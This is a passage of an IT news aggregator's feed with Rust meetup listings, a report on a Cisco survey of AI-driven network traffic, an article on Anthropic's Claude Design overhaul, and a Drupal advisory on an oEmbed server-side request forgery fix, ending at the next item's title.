<li>2026-07-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225861/"><strong>Boston University Rust Lunch, July 4</strong></a></li>
</ul>
</li>
<li>2026-07-09 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust/events/">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696647/"><strong>Utah Rust July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-11 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225865/"><strong>MIT Rust Lunch, July 11</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-06-25 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039461/"><strong>Rust Melbourne June 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-06-18 | Florianópolis, BR | <a href="https://luma.com/rust-sc">Rust SC</a><ul>
<li><a href="https://luma.com/acinctdf"><strong>Rust Floripa</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>"The never type is named after the date of its stabilization" was a good joke while it lasted.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1u1v53c/the_never_type_is_likely_to_stabilize_soon/oqss8ii/">Sergey "Shnatsel" Davidoff on /r/rust</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1780">Dos Moonen</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://this-week-in-rust.org/REDDIT_LINK_HERE">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cisco: AI growth is exposing campus network limits]]></title>
<description><![CDATA[While enterprise IT leaders have spent the past two years focusing AI infrastructure discussions on GPUs, cloud platforms, and data centers, new Cisco research suggests that enterprise networks may not be ready for the next phase of AI adoption.



A Cisco and Foundry survey of 3,472 IT and netwo...]]></description>
<link>https://tsecurity.de/de/3606235/it-security-nachrichten/cisco-ai-growth-is-exposing-campus-network-limits/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606235/it-security-nachrichten/cisco-ai-growth-is-exposing-campus-network-limits/</guid>
<pubDate>Wed, 17 Jun 2026 23:53:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>While enterprise IT leaders have spent the past two years focusing AI infrastructure discussions on GPUs, cloud platforms, and data centers, new Cisco research suggests that enterprise networks may not be ready for the next phase of AI adoption.</p>



<p>A <a href="https://www.cisco.com/c/dam/m/en_us/solutions/networking/ai-impact-campus-branch-networks/documents/the-accelerating-impact-of-ai-on-campus-and-branch-networks.pdf" target="_blank" rel="noreferrer noopener">Cisco and Foundry survey</a> of 3,472 IT and networking leaders across 15 countries found AI is already changing traffic patterns across campus and branch environments and exposing capacity, security, and visibility gaps that many organizations aren’t prepared to address.</p>



<p>“We have entered a networking supercycle, because the network is so central to all the AI infrastructure the world is building now,” said Jeetu Patel, Cisco president and chief product officer, in a <a href="https://newsroom.cisco.com/c/r/newsroom/en/us/a/y2026/m06/the-key-to-agentic-ai-adoption-the-network.html">statement</a>.</p>



<p>The findings reveal that enterprises may need to expand <a href="https://www.networkworld.com/article/4179942/cisco-live-the-network-is-back-and-ai-rewrote-the-rules.html?utm=hybrid_search" target="_blank">AI readiness</a> planning beyond data centers and cloud environments and pay more attention to the networks connecting employees, applications, and devices. This issue will become more significant as enterprise organizations move beyond generative AI pilots and begin deploying AI agents that communicate continuously with other systems and applications, according to the report.</p>



<p>The Cisco survey found:</p>



<ul class="wp-block-list">
<li>Organizations reported a 34% increase in AI-related campus and branch network traffic over the past 12 months.</li>



<li>Traffic is projected to climb 209% over the next three years, with companies broadly deploying AI expecting total network traffic to triple.</li>



<li>73% already face, or expect to face, campus and branch network capacity constraints within the next two years.</li>



<li>67% said AI workloads are increasing east-west traffic between internal systems and applications.</li>



<li>80% said AI has expanded their attack surface.</li>



<li>61% said they are delaying additional AI deployments until they gain more confidence in their security posture.</li>



<li>85% expect moderate or significant growth in AI agent deployments over the next two years.</li>
</ul>



<p>Changing traffic patterns inside enterprise environments are causing additional pressure for enterprise network teams. (See also: <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">AI traffic is radically reshaping WANs</a>)</p>



<p>“Usually, networks are designed for consistent traffic, like SaaS and CRM traffic, and there aren’t a lot of unpredictable traffic patterns,” said the head of AI strategy for global IT and network engineering operations at a large U.S. technology company who participated in the research. “Suddenly, three AI agents are trying to talk to each other and solve a problem. That is going to be a big thing … how do we support increased east-west traffic?”</p>



<p>Cisco defined aggressive AI adopters as organizations with broad generative AI deployments across the enterprise, but only 30% of those organizations said they are fully prepared to support projected AI growth across their networks. As a result, 93% of IT decision makers said they are accelerating network modernization efforts.</p>



<p>The report also highlighted an <a href="https://www.networkworld.com/article/4181727/how-cisco-it-cut-observability-costs-by-86-and-eliminated-major-network-outages.html" target="_blank">observability challenge</a> that could complicate future deployments. As employees and business units increasingly experiment with AI tools, IT organizations may not know what is actually running on their networks.</p>



<p>“Right now, we don’t even know what the AI-driven demand is,” the AI strategy executive said. “Observability is a huge gap. There is experimentation going on all over the place, and there is no way for us to really identify if somebody is deploying some kind of service on our network, whether it is a genAI solution or an agentic solution.”</p>



<p><a href="https://www.networkworld.com/article/4183110/from-the-data-center-to-the-edge-how-to-build-secure-effective-enterprise-ai-infrastructure.html" target="_blank">Security</a> is also emerging as a barrier to AI expansion as organizations struggle to govern rapidly growing numbers of AI tools and workloads.</p>



<p>“The issue from a security standpoint is that it’s hard to create the guardrails for every possible AI tool that your organization must use,” said the vice president of infrastructure, network, and end-user services at a U.S. retail enterprise interviewed for the report.</p>



<p>The AI readiness conversation has often centered on <a href="https://www.networkworld.com/article/4117584/power-shortages-carbon-capture-and-ai-automation-whats-ahead-for-data-centers-in-2026.html" target="_blank">data centers</a>, but <a href="https://www.networkworld.com/article/3803307/cisco-offers-ai-application-visibility-access-control-threat-defense.html" target="_blank">AI applications</a> operate where employees work, devices connect, and business processes run. That means campus and branch environments may become just as important to AI success as the infrastructure supporting AI models.</p>



<p>The Cisco research shows that AI infrastructure planning can no longer focus only on back-end systems if enterprises expect to scale AI deployments over the next several years. Patel said in the statement: “Eventually there will be only two kinds of companies: those that are AI companies, and those that are irrelevant.”</p>



<h4 class="wp-block-heading">For more Cisco news, see our coverage from Cisco Live 2026:</h4>



<ul class="wp-block-list">
<li><a href="https://www.networkworld.com/article/4184554/how-jeetu-patel-made-cisco-unrecognizable.html">How Jeetu Patel made Cisco unrecognizable</a></li>



<li><a href="https://www.networkworld.com/article/4180842/cisco-sees-quantum-networking-as-the-future-of-networking.html">Cisco sees quantum networking as the future of networking</a></li>



<li><a href="https://www.networkworld.com/article/4180810/what-is-cisco-cloud-control-and-why-should-customers-care.html">What is Cisco Cloud Control and why should customers care?</a></li>



<li><a href="https://www.networkworld.com/article/4179942/cisco-live-the-network-is-back-and-ai-rewrote-the-rules.html">Cisco Live: The network is back, and AI rewrote the rules</a></li>



<li><a href="https://www.networkworld.com/article/4179673/cisco-brings-agentic-ops-platform-and-security-overhaul-to-cisco-live.html">Cisco brings agentic ops platform and security overhaul to Cisco Live</a></li>



<li><a href="https://www.networkworld.com/article/4181727/how-cisco-it-cut-observability-costs-by-86-and-eliminated-major-network-outages.html">How Cisco IT cut observability costs by 86% and eliminated major network outages</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic ships major Claude Design overhaul with design system imports, code round-trips, and a fix for its token-burning problem]]></title>
<description><![CDATA[When Anthropic quietly released Claude Design in April as a "research preview," it generated the kind of instant traction most product teams dream about: more than one million users in its first week. It also generated a problem. The tool consumed tokens so voraciously that a PCWorld reviewer bur...]]></description>
<link>https://tsecurity.de/de/3605936/it-nachrichten/anthropic-ships-major-claude-design-overhaul-with-design-system-imports-code-round-trips-and-a-fix-for-its-token-burning-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3605936/it-nachrichten/anthropic-ships-major-claude-design-overhaul-with-design-system-imports-code-round-trips-and-a-fix-for-its-token-burning-problem/</guid>
<pubDate>Wed, 17 Jun 2026 21:31:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When <a href="https://www.anthropic.com/">Anthropic</a> quietly released <a href="https://claude.ai/design">Claude Design</a> in April as a "<a href="https://www.anthropic.com/news/claude-design-anthropic-labs">research preview</a>," it generated the kind of instant traction most product teams dream about: more than one million users in its first week. It also generated a problem. The tool consumed tokens so voraciously that a PCWorld reviewer <a href="https://www.pcworld.com/article/3117811/i-tried-claude-design-for-half-an-hour-im-already-locked-out-for-a-week.html">burned through 80 percent</a> of his weekly Claude Pro allowance in roughly 25 minutes, producing just three variations of a single webpage prototype. "We're talking another token-hungry Claude product here," the reviewer wrote, "one that Pro users in particular will barely be able to use before burning through their usage limits."</p><p>Two months later, Anthropic is shipping a substantially overhauled version of <a href="https://claude.ai/design">Claude Design</a> that attempts to fix the consumption issue while simultaneously repositioning the product from a flashy demo into something far more strategically important: a design system compliance layer that connects to code, connects to the tools enterprises already use, and — critically — keeps everything on brand.</p><p>The update, announced Wednesday, arrives at a moment when Anthropic is executing one of the most aggressive product expansions in the AI industry's brief history. In the past ten weeks alone, the company has launched <a href="https://www.anthropic.com/news/claude-opus-4-8">Claude Opus 4.8</a>, released (and then suspended) the Mythos-class <a href="https://www.anthropic.com/news/claude-fable-5-mythos-5">Fable 5 model</a>, shipped ten agent templates for financial services, announced a <a href="https://investors.dxc.com/investor-news/news-details/2026/DXC-and-Anthropic-Announce-Multi-Year-Global-Alliance-to-Bring-AI-into-Mission-Critical-Enterprise-Systems/default.aspx">multi-year alliance</a> with DXC Technology to embed Claude inside the IT infrastructure of the world's largest banks and airlines, rolled out <a href="https://www.anthropic.com/news/claude-for-small-business">Claude for Small Business</a> with integrations into QuickBooks and PayPal, and published research showing that Claude Code users now average <a href="https://www.anthropic.com/research/claude-code-expertise?lang=us">20 hours per week on the tool</a>. </p><p>Claude Design's transformation from prototype toy to enterprise platform is the latest move in a company-wide strategy to make Claude not just an assistant people talk to, but a worker embedded in the systems where work actually happens.</p><h2><b>How design system imports make Claude Design an enterprise brand-compliance tool</b></h2><p>The headline feature in Wednesday's update is not the new drag-and-resize editor, nor the expanded list of export destinations, though both matter. The feature that signals where Anthropic is heading is the rebuilt design system import.</p><p>Users can now bring one or several design systems into Claude Design from a <a href="https://github.com/">GitHub</a> repository, design files, or raw uploads. Once imported, Claude builds with those components, checks its output against the design system, and auto-corrects before the user ever sees the result. For larger organizations, a new admin role can approve a single standard system and lock down edits, ensuring that every asset Claude produces conforms to company guidelines.</p><p>This is a meaningful departure from the tool's original positioning. In April, <a href="https://claude.ai/design">Claude Design</a> was a blank canvas: give it a prompt, and it would generate something visually impressive but stylistically arbitrary. Business Insider tested it against Canva AI for a photography workshop slide deck and found that Claude Design "<a href="https://www.businessinsider.com/claude-design-canva-ai-test-compare-create-presentation-saas-2026-5">anticipated my needs</a>" and "identified its own errors and corrected them without prompting." But the output reflected Claude's aesthetic judgment, not the user's brand. For an individual freelancer or a startup founder sketching ideas, that was fine. For a 10,000-person enterprise with a 200-page brand standards document, it was a non-starter.</p><p>The design system import changes that equation. By ingesting a company's actual components — its buttons, typography, color tokens, spacing rules — and then validating output against them before surfacing results, Claude Design is attempting something that most human designers struggle with: consistent brand compliance at speed and scale. The admin lockdown feature, which prevents individual users from overriding the approved system, is a direct play for the enterprise procurement conversation, where "can we control what it produces?" is often the first question.</p><h2><b>Why the Claude Code round-trip could end the design-to-engineering handoff problem</b></h2><p>The second major update is the bidirectional integration between <a href="https://claude.ai/design">Claude Design</a> and <a href="https://www.anthropic.com/product/claude-code">Claude Code</a>. Users can now run /design-sync in Claude Code to import their local codebase's design system into Claude Design, ensuring that prototypes start from real components rather than approximations. When a design is ready to ship, it hands off to Claude Code, which picks up exactly where the designer left off — no screenshot, no rebuild. The integration works in reverse, too. From a Claude Code terminal, the /design command lets developers create, edit, and sync design projects without leaving their workflow.</p><p>This matters because the handoff between design and engineering has been one of the most persistent friction points in software development for decades. Tools like Figma's Dev Mode and Zeplin have tried to bridge the gap by generating specifications and code snippets from design files, but the translation has always been lossy. A designer's prototype and an engineer's implementation inevitably diverge, creating a cycle of visual QA, redlines, and "that's not what the mockup looked like" conversations.</p><p>Anthropic is betting that if the same AI system both designs and codes — and if both modes share the same underlying component library — the gap disappears. It is, in effect, arguing that the design-to-code problem was never really about better specification formats or smarter handoff tools. It was about the fact that two different humans (or two different tools) were interpreting the same intent. A single AI system that operates on both sides of the workflow doesn't need to interpret; it just continues.</p><p>The timing of this integration is also significant in light of Anthropic's own research. Just yesterday, the company published an analysis of <a href="https://www.anthropic.com/research/claude-code-expertise">roughly 400,000 Claude Code sessions </a>showing that domain expertise — not coding proficiency — is the primary driver of successful outcomes. Every major occupation succeeded at coding tasks at nearly the same rate as software engineers. If designers can now move fluidly between visual prototyping and code implementation through a single AI system, the research suggests they will succeed not because they learned to code, but because they deeply understand the design problems they are solving.</p><h2><b>Token consumption gets a fix, but the economics of generative design remain tight</b></h2><p>The token consumption issue that dogged Claude Design's launch was not just a user experience annoyance — it was a structural threat to the product's viability. If a <a href="https://support.claude.com/en/articles/11049762-choose-a-claude-plan">$20-per-month Pro subscriber</a> could exhaust their entire weekly allowance in a single 30-minute session, the tool was effectively inaccessible to the individual users and small teams who drove its initial viral adoption.</p><p>Anthropic's response is twofold. First, <a href="https://claude.ai/design">Claude Design</a> now shares usage limits with chat, <a href="https://www.anthropic.com/product/claude-cowork">Claude Cowork</a>, and <a href="https://www.anthropic.com/product/claude-code">Claude Code</a>, rather than drawing from a separate, smaller pool. This gives most users significantly more headroom. Second, the company says it has reduced the average token consumption per turn while maintaining output quality, and that error rates have dropped sharply.</p><p>Whether this is enough remains an open question. The fundamental tension is architectural: generative design is inherently token-expensive. Every variation Claude produces requires the model to reason about layout, typography, color, spacing, responsiveness, and content simultaneously, then generate a complete, functional artifact. That is a fundamentally different workload than answering a question in chat, and it consumes tokens accordingly. Anthropic's efficiency improvements may push the breaking point further out, but they do not eliminate the underlying economics. For enterprise customers on Team and Enterprise plans with higher limits, this may be a non-issue. For Pro subscribers, the math is still likely to be tight.</p><p>The new editor helps mitigate this somewhat by giving users direct control over individual elements — drag, resize, and align — without burning a model turn for every small adjustment. Hundreds of stability fixes also mean fewer wasted turns on errors and regenerations, which were a significant source of token drain in the original release. These are not glamorous improvements, but they are the kind of grind work that separates a research preview from a daily-use tool.</p><h2><b>Nine new export partners position Claude Design as a creative hub, not a destination</b></h2><p>The update's third pillar is an expanded set of export destinations. Claude Design now sends work to <a href="https://www.adobe.com/">Adobe</a>, <a href="https://base44.com/">Base44</a>, <a href="https://www.canva.com/">Canva</a>, <a href="https://gamma.app/">Gamma</a>, <a href="https://lovable.dev/">Lovable</a>, <a href="https://miro.com/">Miro</a>, <a href="https://replit.com/">Replit</a>, <a href="https://vercel.com/">Vercel</a>, and <a href="https://www.wix.com/">Wix</a>, in addition to PDF and PowerPoint. The breadth of this list reveals a deliberate positioning strategy: Anthropic is building Claude Design not as a place where work is finished, but as the place where it begins.</p><p>The partner quotes tell the story. Replit's president Michele Catasta frames the integration as meeting "builders wherever ideas begin." Canva's Anwar Haneef describes the flow from Claude Design as turning "a first draft" into "a finished asset — kept on-brand, personalized for the moment." Vercel's Andrew Qu talks about pushing a concept "straight to Vercel to ship." In each case, Claude Design is the origin point, and the partner tool is where polish, collaboration, and deployment happen.</p><p>This hub-and-spoke model also serves as a defensive moat against the open-source alternative that has emerged with surprising speed. <a href="https://github.com/nexu-io/open-design">Open Design</a>, a community-built project tracked by <a href="https://www.augmentcode.com/learn/open-design-claude-design-alternative">Augment Code</a>, reached 57,400 GitHub stars and 310 contributors in just eight weeks after Claude Design's launch. It offers local-first operation, model flexibility supporting 16 different coding agents, and 259 skills with 142 design systems — all without cloud lock-in. Augment Code's Paula Hingel noted that for "teams that need to self-host, use their own API keys, or swap models, Open Design is currently the only local-first option with this level of skill and design system coverage."</p><p>Anthropic's answer to this competitive pressure is not to match <a href="https://www.augmentcode.com/learn/open-design-claude-design-alternative">Open Design</a> on self-hosting or model flexibility — those are philosophical concessions the company is unlikely to make. Instead, it is building an integration ecosystem that open-source projects cannot easily replicate. A native Adobe Express connector, a verified Canva export pipeline, a first-party Vercel deployment path — these are partnerships, not features, and they require business relationships that community projects cannot forge at the same pace.</p><h2><b>Claude Design fits into Anthropic's broader push to embed AI across the entire enterprise stack</b></h2><p>To understand why Claude Design's evolution matters, it helps to zoom out. Anthropic is building a product surface that now spans creative work (<a href="https://claude.ai/design">Design</a>), code (<a href="https://www.anthropic.com/product/claude-code">Code</a>), knowledge work (<a href="https://www.anthropic.com/product/claude-cowork">Cowork</a>), and enterprise operations (<a href="https://platform.claude.com/docs/en/managed-agents/overview">Managed Agents</a>) — all unified by the same underlying models and, increasingly, by shared context that carries across tools.</p><p>The trajectory of the past quarter makes the pattern unmistakable. In May, Anthropic launched Claude for Small Business with connectors to QuickBooks, PayPal, and HubSpot, putting Claude inside the tools that small business owners already use for payroll, invoicing, and marketing. The same month, the company released ten agent templates for financial services covering everything from pitchbook creation to KYC screening, with connectors to FactSet, S&amp;P Capital IQ, and Morningstar. Claude Opus 4.8 shipped on May 28 with a "dynamic workflows" feature enabling hundreds of parallel sub-agents in a single Claude Code session. Then came the Fable 5 and Mythos 5 launch on June 9, followed almost immediately by a US government export control directive that suspended access to both. DXC Technology announced a multi-year alliance to train tens of thousands of Claude-certified engineers to embed Claude inside the systems it operates for major banks, airlines, and insurers.</p><p>The design system you import into Claude Design is the same component library that Claude Code uses to implement. The financial model you build in Claude for Excel can flow into a pitchbook created in Claude Design and exported to PowerPoint. The brand assets a small business owner creates through Claude Design can be pushed directly to Canva for team collaboration. This is not a chatbot strategy. It is a platform strategy, and the Claude Design update — with its design system imports, code round-trips, and export ecosystem — is one of the clearest expressions of it yet.</p><p>Anthropic also published an engineering deep-dive last month detailing how it contains Claude across products using sandboxes, virtual machines, and egress controls — infrastructure that becomes more critical as tools like Claude Design gain access to proprietary design systems and brand assets. The containment architecture reveals both the ambition and the risk: the more deeply Claude embeds into enterprise workflows, the higher the stakes when something goes wrong, and the more sophisticated the security envelope must become.</p><p>Three questions will determine whether Wednesday's update delivers on its ambitions. First, whether the token economics actually work for the broadest user base — shared limits and efficiency gains help, but generative design remains expensive. Second, whether the design system import proves robust enough for real enterprise use, because ingesting a GitHub repository of React components and faithfully using them across dozens of design variations is a genuinely hard technical problem. And third, whether the Claude Code round-trip actually eliminates the design-engineering gap or merely shifts it.</p><p>Claude Design launched two months ago as a thing people tried once and marveled at. Anthropic is now trying to make it a thing people use every day — and more than that, a thing their entire team trusts to stay on brand while they do. In the AI industry, the distance between a viral demo and an indispensable tool has swallowed more products than it has produced. Anthropic just bet that design systems, not just design prompts, are the bridge across.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Drupal core - Moderately critical - Server-side request forgery - SA-CORE-2026-008]]></title>
<description><![CDATA[Project: Drupal coreDate: 2026-June-02Security risk: Moderately critical 10 ∕ 25 AC:Basic/A:User/CI:Some/II:None/E:Theoretical/TD:DefaultVulnerability: Server-side request forgeryAffected versions: =10.6.0 =11.2.0 =11.3.0]]></description>
<link>https://tsecurity.de/de/3605849/it-security-nachrichten/drupal-core-moderately-critical-server-side-request-forgery-sa-core-2026-008/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3605849/it-security-nachrichten/drupal-core-moderately-critical-server-side-request-forgery-sa-core-2026-008/</guid>
<pubDate>Wed, 17 Jun 2026 20:52:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="field field-name-field-project field-type-entityreference field-label-inline clearfix"><div class="field-label">Project: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/project/drupal">Drupal core</a></div></div></div><div class="field field-name-drupalorg-sa-date field-type-text field-label-inline clearfix"><div class="field-label">Date: </div><div class="field-items"><div class="field-item even">2026-June-02</div></div></div><div class="field field-name-field-sa-criticality field-type-text field-label-inline clearfix"><div class="field-label">Security risk: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/security-team/risk-levels" class="moderately-critical" title="AC - Access complexity: Basic or routine (user must follow specific path)
A - Authentication: User-level access (basic/commonly assigned permissions)
CI - Confidentiality impact: Certain non-public data is released
II - Integrity impact: Data integrity remains intact
E - Exploit (Zero-day impact): Theoretical or white-hat (no public exploit code or documentation on development exists)
TD - Target distribution: Default or common module configurations are exploitable, but a config change can disable the exploit"><strong>Moderately critical</strong> 10 ∕ 25 AC:Basic/A:User/CI:Some/II:None/E:Theoretical/TD:Default</a></div></div></div><div class="field field-name-field-sa-type field-type-text field-label-inline clearfix"><div class="field-label">Vulnerability: </div><div class="field-items"><div class="field-item even">Server-side request forgery</div></div></div><div class="field field-name-field-affected-versions field-type-text field-label-inline clearfix"><div class="field-label">Affected versions: </div><div class="field-items"><div class="field-item even">&lt;10.5.12 || &gt;=10.6.0 &lt;10.6.11 || &gt;=11.2.0 &lt;11.2.14 || &gt;=11.3.0 &lt;11.3.12 || 11.0.* || 11.1.*</div></div></div><div class="field field-name-field-sa-cve field-type-text field-label-inline clearfix"><div class="field-label">CVE IDs: </div><div class="field-items"><div class="field-item even">CVE-2026-55807</div></div></div><div class="field field-name-field-sa-description field-type-text-long field-label-above"><div class="field-label">Description: </div><div class="field-items"><div class="field-item even"><p>The Media module comes with support for oEmbed. The oEmbed specification contains two discovery mechanisms, via <code class="language-php">providers.json</code> and via URL discovery.</p>
<p>The URL discovery code could be leveraged to trick Drupal into making server-side requests to any URL.</p></div></div></div><div class="field field-name-field-sa-solution field-type-text-long field-label-above"><div class="field-label">Solution: </div><div class="field-items"><div class="field-item even"><p>Install the latest version:</p>
<p><strong>Drupal 11</strong></p>
<ul>
<li>If you use Drupal 11.3.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.3.12" rel="nofollow">Drupal 11.3.12</a>.</li>
<li>If you use Drupal 11.2.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.2.14" rel="nofollow">Drupal 11.2.14</a>.</li>
</ul>
<p><strong>Drupal 10</strong></p>
<ul>
<li>If you use Drupal 10.6.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.6.11" rel="nofollow">Drupal 10.6.11</a>.</li>
<li>If you use Drupal 10.5.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.5.12" rel="nofollow">Drupal 10.5.12</a>.</li>
</ul>
<p>Drupal 11.1.x, Drupal 11.0.x, Drupal 10.4.x, and below are end-of-life and do not receive security coverage. (<a href="https://www.drupal.org/psa-2021-06-29" rel="nofollow">Drupal 8</a> and <a href="https://www.drupal.org/psa-2023-11-01" rel="nofollow">Drupal 9</a> have both reached end-of-life.)</p>
<h4>Required site changes for URL discovery</h4>
<p>Most users of the oEmbed functionality in Drupal likely use <code class="language-php">providers.json</code> to define known providers (such as YouTube and Vimeo) for embedding content.</p>
<p>If you are using URL discovery, you now need to set a list of trusted oEmbed discovery hosts in <code class="language-php">settings.php</code>.</p>
<p>This is an array containing a series of regular expressions for matching host names for discovery. It follows the same pattern as the existing <a href="https://www.drupal.org/docs/getting-started/installing-drupal/trusted-host-settings" rel="nofollow">trusted hosts settings</a>.</p>
<p>Example:</p>
<pre class="codeblock"><code class="language-php">// Only allow URL discovery from example.com.
$settings['media_oembed_discovery_trusted_host_patterns'] = [
  '^example\.com$',
];
</code></pre></div></div></div><div class="field field-name-field-sa-reported-by field-type-text-long field-label-above"><div class="field-label">Reported By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/0xhamy" rel="nofollow">Hamed Kohi (0xhamy)</a>
</li><li><a href="https://www.drupal.org/u/ama62" rel="nofollow">assaf alassaf (ama62)</a>
</li><li><a href="https://www.drupal.org/u/askibinski" rel="nofollow">Albert Skibinski (askibinski)</a>
</li><li><a href="https://www.drupal.org/u/ayalon" rel="nofollow">Jon Minder (ayalon)</a>
</li><li><a href="https://www.drupal.org/u/betah4k" rel="nofollow">Lautaro Casanova (betah4k)</a>
</li><li><a href="https://www.drupal.org/u/gabesullice" rel="nofollow">Gabe Sullice (gabesullice)</a>
</li><li><a href="https://www.drupal.org/u/john-morahan" rel="nofollow">John Morahan (john morahan)</a>
</li><li><a href="https://www.drupal.org/u/michaelwinser" rel="nofollow">Michael Winser (michaelwinser)</a>
</li><li><a href="https://www.drupal.org/u/nbanderson" rel="nofollow">nbanderson</a>
</li><li><a href="https://www.drupal.org/u/offensive-ai" rel="nofollow">offensive-ai</a>
</li><li><a href="https://www.drupal.org/u/plach" rel="nofollow">Francesco Placella (plach)</a>
</li><li><a href="https://www.drupal.org/u/qquynh" rel="nofollow">quynh ho (qquynh)</a>
</li><li><a href="https://www.drupal.org/u/unknownhad" rel="nofollow">Himanshu Anand (unknownhad)</a>
</li></ul></div></div></div><div class="field field-name-field-sa-fixed-by field-type-text-long field-label-above"><div class="field-label">Fixed By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/longwave" rel="nofollow">Dave Long (longwave)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/mcdruid" rel="nofollow">Drew Webber (mcdruid)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/phenaproxima" rel="nofollow">Adam G-H (phenaproxima)</a>
</li><li><a href="https://www.drupal.org/u/seanb" rel="nofollow">Sean Blommaert (seanb)</a>
</li></ul></div></div></div><div class="field field-name-field-sa-coordinated-by field-type-text-long field-label-above"><div class="field-label">Coordinated By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/benjifisher" rel="nofollow">Benji Fisher (benjifisher)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/cilefen" rel="nofollow">cilefen  (cilefen)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/damienmckenna" rel="nofollow">Damien McKenna (damienmckenna)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/dokumori" rel="nofollow">Mori Sugimoto (dokumori)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/greggles" rel="nofollow">Greg Knaddison (greggles)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/longwave" rel="nofollow">Dave Long (longwave)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/mcdruid" rel="nofollow">Drew Webber (mcdruid)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/neclimdul" rel="nofollow">James Gilliland (neclimdul)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/poker10" rel="nofollow">Juraj Nemec (poker10)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/xjm" rel="nofollow">Jess  (xjm)</a> of the Drupal Security Team
</li></ul></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Drupal core - Moderately critical - Improper validation - SA-CORE-2026-009]]></title>
